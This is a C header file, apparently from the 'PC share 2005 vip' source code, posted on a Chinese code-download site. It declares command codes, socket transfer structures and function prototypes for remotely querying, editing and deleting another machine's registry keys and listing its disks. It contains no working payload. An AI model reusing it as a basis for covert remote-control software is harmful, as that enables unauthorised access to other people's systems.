⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 mymarco.h

📁 PC share 2005 vip源代码
💻 H
字号:
/*
*	公共变量,函数定义
*/

#include "resource.h"

//私有定义
#define WM_EDITLABLE			WM_USER + 900		//编辑标题
#define WM_SETMYCURSOR			WM_USER + 902		//光标控制
#define WM_REGLEFTDBCLICK		WM_USER + 903		//注册表树控件双击
#define WM_REGLEFTRCLICK		WM_USER + 904		//注册表树控件右键单击
#define WM_REGRIGHTRBCLICK		WM_USER + 905		//注册表编辑(右视单击)
#define WM_REGRIGHTRENAMEOK		WM_USER + 906		//更名键值成功  
#define WM_INSERTMYITEM			WM_USER + 912		//增加项目
#define WM_GETMYCOUNT			WM_USER + 913		//取对象数目

//公共定义

#define TRAN_DATA_LEN			2048 * 1024			//数据交换长度

#define REG_VALUE_INT			1					//DWORD型数据
#define REG_VALUE_BIN			2					//二进制型数据
#define REG_VALUE_STR			3					//字符串型数据

#define CLIENT_REG_QUERY		5011				//查询指定键值
#define CLIENT_REG_DELETE_KEY	5012				//删除子键
#define CLIENT_REG_RENAME_VALUE	5013				//更改键值名 
#define CLIENT_REG_DELETE_VALUE 5014				//删除键值
#define CLIENT_REG_EDIT_VALUE	5015				//更改键值
#define CLIENT_REG_CREATE_VALUE 5016				//新建键值
#define CLIENT_DISK_LIST		5008				//取磁盘列表

#define NOT_FIND_ANY_FILE		7000				//找不到任何文件
#define INVALID_COMMAND			7002				//无效命令
#define REG_DELETE_KEY_ERR		7008				//删除子键失败
#define REG_RENAME_VALUE_ERR	7009				//更名键值名失败
#define REG_CREATE_VALUE_ERR	7010				//创建新键值失败
#define REG_EDIT_VALUE_ERR		7011				//更改键值失败
#define RENAME_FAILE			7015				//更名失败
#define COMMAND_PARAM_ERR		7017				//参数错误
#define OPEB_REG_KEY_ERR		7018				//无法打开指定键值

#define TRANS_DATA_ERR			8000				//通信错误

#define CONN_FILE_REGD_SEND		4007				//注册表编辑发送管道
#define CONN_FILE_REGD_RECV		4008				//注册表编辑接收管道

typedef struct _REGINFO_
{
	char  m_Name[512];
	DWORD m_NameLen;
	DWORD m_DataType;
	char  m_Data[512];
	DWORD m_Datalen;
	BOOL  m_IsKey;
}REGINFO,*LPREGINFO;

typedef struct _CLIENTDATA_
{
	char*	m_TransData;
	DWORD	m_TransLen;
	HANDLE  m_WorkEvent;
	UINT	m_Command;
	HANDLE	m_ThreadHandle;
	SOCKET	m_SendSocket;
	SOCKET	m_RecvSocket;
	HWND	hParent;
	BOOL	m_IsWork;
}CLIENTDATA,*LPCLIENTDATA;

void TransBagThread(LPVOID lPvoid);

BOOL SendData(SOCKET s, char *data, int len);
BOOL RecvData(SOCKET s, char *data, int len);
BOOL ProcessOneTrans(LPCLIENTDATA pData);
BOOL SendBag(SOCKET s,char *Data,DWORD &len,UINT &command);
BOOL ReadBag(SOCKET s,char *Data,DWORD &len,UINT &command);
void BcdToAsc(unsigned char *BcdStr,unsigned char *AscStr,int BcdStrLen);
void AscToBcd(unsigned char *AscStr,unsigned char *BcdStr,int AscStrLen);

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -